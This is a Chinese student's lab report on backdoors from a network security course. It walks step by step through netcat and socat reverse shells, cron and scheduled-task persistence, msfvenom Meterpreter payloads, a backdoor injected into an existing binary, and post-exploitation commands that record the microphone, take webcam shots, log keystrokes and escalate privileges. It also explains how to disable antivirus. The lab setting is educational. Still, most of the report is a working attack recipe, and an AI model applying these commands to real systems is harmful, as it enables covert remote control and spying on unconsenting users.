一、实验目标(内容)
- 使用netcat获取主机操作Shell,cron启动某项任务
- 使用socat获取主机操作Shell, 任务计划启动
- 使用MSF meterpreter生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
- 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
- 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
二、实验知识点回顾(本周学习的内容)
1.后门相关知识
- 后门:不经过正常认证流程而访问系统的通道;
- 后门的作用:获取敏感信息、执行伪协议命令、远程控制弹出任何对话框窗口;
2.netcat工具:
探测端口是否开放、局域网聊天、文件传输、正向连接、反向连接
3.socat工具:
netcat工具的加强版,支持更复杂的数据流处理和多种协议 / 设备的连接。它的功能更强大,支持文件、管道、串口、SSL 加密、SOCKS 代理等类型,定位是处理复杂的网络交互场景。
4.Meterpreter工具:
生成后门的工具,作为溢出成功后的攻击载荷使用;
5.回答问题
- 例举你能想到的一个后门进入到你系统中的可能方式?
- 在不可信的网站下载文件,文件中含有植入木马程序。
- 电脑上连接不可信的硬件。
- 例举你知道的后门如何启动起来(win及linux)的方式?
windows系统:
- 任务计划程序:创建定时任务,触发执行恶意程序。
- DLL替换:替换合法动态链接库,使应用加载恶意DLL。
Linux系统: - Linux系统crontab定时任务:添加任务,指定时间/时间执行恶意程序。
- 反弹Shell:让目标系统主动连接攻击者服务器,建立反向连接并启动后门。
- Meterpreter有哪些给你印象深刻的功能?
- 自动生成恶意代码,无需手动编写。
- 能够屏幕截图、记录键盘输入、录音、开启摄像头。
- 如何发现自己有系统有没有被安装后门?
- 检查有没有新增的可疑用户。
- 打开杀毒软件或者Windows电脑自带的Windows安全中心。
- 定期更新系统和补丁,修复漏洞。
- 电脑有异常操作时,可以检查有没有可疑进程。
三、实验步骤
任务一:使用netcat获取主机的Shell
- 实验环境
因为netcat、socket和Meterpreter生成的后门文件会被电脑自带杀软识别为病毒,所以需要在实验开始前关闭主机的防火墙和杀软。
可以直接在Windows安全中心关闭防火墙,如图:
同样的,在Windows安全中心关闭“病毒和威胁”实时保护,如图,但是在后面的环节有时候还是会自动打开,所以当用到nc或者使用Meterpreter生成的后门文件时报错,可以先看看实时保护是不是开了。
在Windows主机上下载netcat1.12。
安装好之后可以添加到系统变量中,这样在调用netcat的时候就不用cd
到文件目录下了。
- 监听获得虚拟机的shell
接下来用ipconfig
查询windows主机的IP地址,如图:172.16.177.144
在Windows主机上,打开PowerShell,cd D:\netcat
,输入./nc64.exe -l -p 2426
,监听2426端口。
打开另一个终端,输入netstat -an | findstr "2426"
查看监听情况,最后一列显示LISTENING,则表示正在监听
在虚拟机上输入sudo -i
切换至root用户
在虚拟机上输入命令nc 172.16.177.144 2426 -e /bin/sh
,其作用是让虚拟机连接到当前主机,并将本地的/bin/sh
绑定到这个连接,使得主机可以通过这个连接控制虚拟机的命令行。其中/bin/sh
是Linux系统的命令行解释器
连接成功后,主机就可以控制虚拟机的命令行了
- 启动定时任务
在虚拟机中输入命令crontab -e
,选择2. /usr/bin/vim.basic
编辑crontab文件。
- crontab文件是 Linux/Unix 系统中用于定义周期性执行任务的配置文件。
- 选择方法2是因为vim更加强大,适合编辑配置文件。
在cron表的末尾添加命令50 * * * * /bin/netcat 172.16.177.144 2426 -e /bin/sh
,然后:wq
退出保存。 - 它能够每小时的50分通过netcat连接主机,并将本地的Shell绑定到该连接,使主机可通过此连接控制虚拟机的Shell。
输入crontab -l
查看cron表,已将此定时添加到时程表。
在虚拟机/var/spool/cron/crontabs
目录下,找到crontabs文件夹,用root身份打开:
其中有一个名为root的文件,这就是刚刚创建的持久化后门的定时任务的文件:
- 通过Windows主机修改定时任务
接下来在主机所获取的虚拟机命令行中输入命令* * * * * echo "20232426" > /home/kali/liujiacheng/20232426.txt
含义是:每分钟将字符串20232426写入20232426.txt 文件中。
输入crontab -l
,发现修改成功。
等一分钟打开/home/kali/liujiacheng/20232426.txt,惊现20232426:
任务二:使用socat获取主机的Shell
1.实验环境
可以先检查一下Windows安全中心关闭“病毒和威胁”实时保护是否处于关闭状态,要是处于打开状态的话socat无法下载成功。
打开码云,选择其中的socat.rar下载socat解压缩,依然是可以添加到环境变量,或者直接在文件目录使用。
在主机socat的目录下打开cmd,输入命令./socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr
,这条命令的意思是监听8888端口,当客户端连接,则为其启动cmd.exe,并将所有输入输出通过此TCP连接转发。
在虚拟机上输入命令socat - tcp:172.16.177.144:8888
,通过socat连接到主机,将所有输入通过TCP连接发送,并将主机返回的所有数据显示在虚拟机的终端上。
2. 设置定时任务
在主机编写一个程序,作用是创建或覆盖20232426.txt,并写入字符串“20232426”。
将其编译为可执行文件
在虚拟机上输入命令schtasks /create /sc minute /mo 1 /tn "20232426ljc" /tr F:\20232426_2.exe
,这个命令在Windows系统上创建一个名为“20232426”的定时任务,该任务会每分钟自动运行一次F:\20232426_2.exe。
在主机计算机管理中,点击任务计划程序库,发现此任务“在 2025/10/20 的 17:35 时-触发后,无限期地每隔 00:01:00 重复一次。”
任务三:使用MSF meterpreter生成后门
- 后门生成
在虚拟机输入命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.172.130 LPORT=2426 -f exe > backdoor20232426.exe
,生成一个名为backdoor20232426.exe的Windows可执行文件。它是Meterpreter生成的后门程序,会主动连接回IP地址为192.168.172.130的攻击者机器的2426端口,从而为攻击者提供一个远程控制会话。注意这里的文件大小为7168bytes。
在主机上输入./nc.exe -l -p 2426 > "F:\backdoor20232426.exe"
,这个指令会在主机上启动一个netcat监听器,监听端口2426,并将连接上来的客户端发送过来的数据,全部到指定路径的文件中:
在虚拟机中输入命令nc 172.16.177.144 2426 < backdoor20232426.exe
。该命令使用netcat客户端,将虚拟机backdoor20232426.exe 文件的内容,通过网络发送到IP地址为 172.16.177.144的机器的2426端口上:
文件传到主机上之后可以看看文件大小,是不是meterpreter生成的7168bytes。文件大小没问题的话可以在虚拟机里退出一下传输,不然影响下一步。
- 配置监听模块
在虚拟机的终端输入命令msfconsole
,打开Metasploit框架的主要控制台界面。对监听模块进行配置:
在主机上运行后门程序:
攻击的话,虚拟机可连接上主机,输入命令dir
后可获得当前目录下的文件与目录:
任务四:使用MSF meterpreter生成获取目标主机资源的后门,并尝试提权
- 生成获取目标主机音频、摄像头、击键记录等内容的后门
在MSF框架的Meterpreter会话中输入常用的后渗透命令,进一步获取信息或实施监控。
record_mic #从目标主机的默认麦克风录制音频
webcam_snap #表示通过目标主机的摄像头拍摄一张照片
keyscan_start #表示开始捕获目标主机的键盘输入(键盘记录)
keyscan_stop #手动停止
keyscan_dump #导出键盘记录缓存区的内容,将目标机上的按键记录输出在终端
在root目录下查看获取的文件:
- 尝试提权
在虚拟机输入命令getuid
可查看初始用户名:
输入命令getsystem
尝试提权,显示通过第6种技术成功获取了系统权限。
再次输入命令getuid
查看用户名,发现仍然是小比...推断可能是漏洞修复或是上下文未同步。
任务五:使用MSF生成shellcode,获取反弹连接Shell
1.文件准备
将pwn1下载并传入虚拟机中命名为pwn20232426:
2.使用MSF生成shellcode
在虚拟机中输入命令msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.172.130 LPORT=8888 -x /home/kali/liujiacheng/pwn20232426 -f elf -o pwn20232426_2
,将一个Linux系统下的反向连接Meterpreter后门,注入到已有的合法程序/home/kali/liujiacheng/pwn20232426,并生成一个带有后门的可执行文件pwn20232426_2。
输入命令sudo chmod a+x pwn20232426_2
,使用超级管理员权限为该文件赋予可执行权限。
再打开一个终端,输入命令msfconsole
,进行监听配置:
在原先的shell中运行文件pwn20232426_2。再在新的shell中,输入dir,可以得到当前Winodws主机下D盘目录的内容。
四、实验中遇到的问题与解决方法
实验问题与解决方案汇总表
问题描述 | 核心原因分析 | 解决方案(精简步骤) |
---|---|---|
Windows 安全中心“病毒和威胁”实时保护反复开启,拦截后门/传输文件 | 系统默认防护机制,实时监控识别恶意程序(如 EXE 后门、nc 传输行为) |
1. 临时关闭:设置→更新和安全→Windows 安全中心→病毒和威胁防护→关闭实时保护; 2. 禁用自动开启:通过组策略(gpedit.msc)配置禁用实时保护(需管理员权限)。 |
Metasploit 框架版本旧/依赖缺失,导致 Payload 生成失败/会话报错 | Ruby 版本不兼容、组件未更新,影响 msfvenom /meterpreter 功能正常运行 |
1. Kali 终端执行 sudo apt update 更新软件源;2. 执行 sudo apt install -y metasploit-framework 安装/更新框架及依赖。 |
Windows 未装 VC++ 32位运行时(vc_redist.x86.exe),后门运行崩溃 | 多数 x86 架构 Meterpreter 后门依赖该运行时,缺失会导致“内存冲突/缺少 DLL” | 1. 访问 微软官网 下载 vc_redist.x86.exe ;2. 双击默认安装。 |
Windows 接收 EXE 后文件损坏(体积翻倍、无法运行) | PowerShell 误将二进制流当文本流,自动转换为 UTF-16 编码(追加 00 字节) |
1. 改用 CMD 接收:nc 攻击机IP 端口 > 保存路径.exe ;2. 若用 PowerShell:`ncat ... |
Kali/Windows 连接失败,nc 提示“连接拒绝” |
监听端与发送端启动顺序颠倒(未先启动监听),或端口被防火墙拦截 | 1. 先在 Windows 启动监听:nc -l -p 端口 > 保存路径.exe (保持窗口运行);2. 关闭两端防火墙,确认网络互通。 |
screenshot 持续超时(提示“Send timed out”),但录音/摄像头功能正常 |
截图数据量较大,进程不稳定(跨架构)或目标桌面非活跃(锁屏/多桌面切换) | 1. 迁移到同架构稳定进程(如 explorer.exe ,执行 migrate PID );2. 截取活跃窗口: screenshot -p 。 |
keyscan_dump 失败(提示“Operation failed: Incorrect function”) |
Payload 架构与系统不匹配(x86→x64),或 EDR 拦截键盘记录 API(如 GetAsyncKeyState ) |
1. 重新生成对应架构 Payload(x64 系统用 windows/x64/meterpreter/reverse_tcp );2. 迁移到 services.exe 等系统进程后重试。 |
getsystem 提示“成功”但 getuid 仍为普通用户,未获取 SYSTEM 权限 |
提权技术(如 EfsPotato)被系统补丁修复,或当前进程权限不足无法触发漏洞 | 1. 尝试多技术提权:getsystem -t 1,2,3,4,5 ;2. 迁移到 services.exe (PID 通常为 1588 左右)后重新提权。 |
migrate 失败(提示“Operation failed: 1300”) |
跨架构迁移(x86 进程→x64 进程),或普通用户无权限注入高权限进程(如 explorer.exe ) |
1. 迁移到同架构进程(如 x86 选 vmware.exe ,执行 migrate PID );2. 先通过 getsystem 提权,再迁移系统进程。 |
msfvenom 命令报错,提示“无效的 Payload” |
语法错误(如 reverse tcp 缺少下划线),或目标程序路径含空格未加引号 |
1. 修正 Payload 名称:linux/x86/meterpreter/reverse_tcp (注意 reverse_tcp 为下划线);2. 路径含空格时用引号包裹(如 -x "/home/kali/test.exe" )。 |
从 msfconsole 无法回到 meterpreter > 界面 |
遗忘会话交互命令,未重新进入挂起的会话 | 1. 查看活跃会话:sessions (获取目标会话 ID);2. 进入会话: sessions -i 会话ID 。 |
webcam_stream 弹出“dconf-WARNING”(缺少 /etc/dconf/db/local ) |
Kali 本地浏览器(Firefox)配置缺失,不影响摄像头流实际传输功能 | 1. 忽略警告,直接打开生成的 .html 文件查看摄像头流;2. 消除警告: sudo touch /etc/dconf/db/local && dconf update 。 |
五、学习体会
非常感谢毕悠尘的实验报告,写得特别详细,一步一步来,内容通俗但又很专业。我平时不太喜欢看视频做实验,所以这次是照着毕悠尘的报告做的。她的报告让我一步一步学会了怎么做实验,也让我学到了她的思路。通过她的报告,我明白了实验报告要写得让别人能看懂,不能跳步骤,要多做解释。其实就是自己先搞懂,再把自己的理解写进去,这样别人看起来也会更容易懂。虽然这次实验我模仿 biu 姐的痕迹比较多,但我觉得这是一篇能真正指导他人的实验报告。下次我准备自己写一篇,既能说明我理解了,也能教别人怎么做这个实验。还有,网络攻防真的很有意思。